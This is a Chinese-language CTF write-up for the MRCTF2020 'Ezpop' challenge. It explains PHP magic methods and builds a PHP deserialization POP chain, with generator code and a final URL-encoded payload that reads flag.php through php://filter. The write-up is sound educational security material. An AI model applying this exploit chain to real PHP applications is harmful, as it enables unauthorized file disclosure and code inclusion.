当前位置:网站首页>[MRCTF2020]Ezpop(详解)
[MRCTF2020]Ezpop(详解)
2022-08-05 03:52:00 【pakho_C】
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
php代码审计
知识点:
1.__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __invoke() {
echo '这可是一个对象哦';
}
}
$person = new Person('小明'); // 初始赋值
$person();
输出:这可是一个对象哦
2.__toString()
作用:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __toString()
{
return 'go go go';
}
}
$person = new Person('小明'); // 初始赋值
echo $person;
结果:go go go
3. __get()
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
eg:
class Person
{
private $name;
...
}
$person3 = new Person();
echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值
解题:
题目对pop参数进行反序列化操作,那么需要构造序列化后的pop参数
当pop参数为Show类时,反序列化时会先调用__wakeup()函数,进行过滤
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
此时pop为show类的一个对象,包含2个参数:source和str,由于构造函数__construct有echo $this->source,要触发__toString()函数,则可以将source参数作为一个类的对象
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
将pop对象的参数source作为Show类的对象(此时source对象也有两个参数:source和str),则会执行__toString()函数,return source对象的str参数的source,此时str如果是Test类的一个对象,则没有source参数,执行__toString()函数则会找不到source参数,就会调用Test类对象str的__get()函数
public function __get($key){
$function = $this->p;
return $function();
}
__get()函数调用p参数对应的函数 注意:$function()
如果$function是个对象,那么则会调用__invoke()函数
public function __invoke(){
$this->append($this->var);
}
所以可以将参数p设置为Modifier类的对象,从而执行__invoke()函数,进而执行append函数
public function append($value){
include($value);
}
所以可以将var参数设置为php://filter/read=convert.base64-encode/resource=flag.php用来读取flag
整体流程:
构造payload:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$pop = new Show();
$pop->source = new Show();
$pop->source->str = new Test();
$pop->source->str->p = new Modifier();
echo urlencode(serialize($pop));
?>

需要urlencode的原因参考了另一位师傅的话:
最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码
得到最终payload:
pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


边栏推荐
- UE4 在游戏运行时更改变量 (通过鼠标滑轮来更改第一人称角色的最大行走速度)
- ffmpeg 像素格式基础知识
- Android Practical Development - Kotlin Tutorial (Introduction - Login Function Implementation 3.3)
- Leading the highland of digital medicine, Zhongshan Hospital explores to create a "new paradigm" for future hospitals
- JeeSite新建报表
- 从企业的视角来看,数据中台到底意味着什么?
- Fifteen. Actual combat - MySQL database building table character set and collation
- DEJA_VU3D - Cesium功能集 之 056-智图Arcgis地图纠偏
- cross domain solution
- 10 years of testing experience, worthless in the face of the biological age of 35
猜你喜欢

Use CH341A to program external Flash (W25Q16JV)

21 Days Learning Challenge (2) Use of Graphical Device Trees

多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层

基于生长的棋盘格角点检测方法

iMedicalLIS监听程序(2)

[TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction

银行数据采集,数据补录与指标管理3大问题如何解决?

Open-Falcon of operation and maintenance monitoring system

Ice Scorpion V4.0 attack, security dog products can be fully detected

Event parse tree Drain3 usage and explanation
随机推荐
Fifteen. Actual combat - MySQL database building table character set and collation
Event parse tree Drain3 usage and explanation
The sword refers to Offer--find the repeated numbers in the array (three solutions)
【Mysql进阶优化篇02】索引失效的10种情况及原理
UE4 第一人称角色模板 添加蹲伏功能
2022.8.4-----leetcode.1403
Getting Started with Kubernetes Networking
Why is the pca component not associated
第一次性能测试实践,有“亿”点点紧张
MySql的索引学习和使用;(本人觉得足够详细)
[TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层
How do newcomers get started and learn software testing?
Use CH341A to program external Flash (W25Q16JV)
From "useable" to "easy to use", domestic software is self-controllable and continues to advance
ffmpeg enumeration decoders, encoders analysis
UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)
将故事写成我们
Open-Falcon of operation and maintenance monitoring system
Ice Scorpion V4.0 attack, security dog products can be fully detected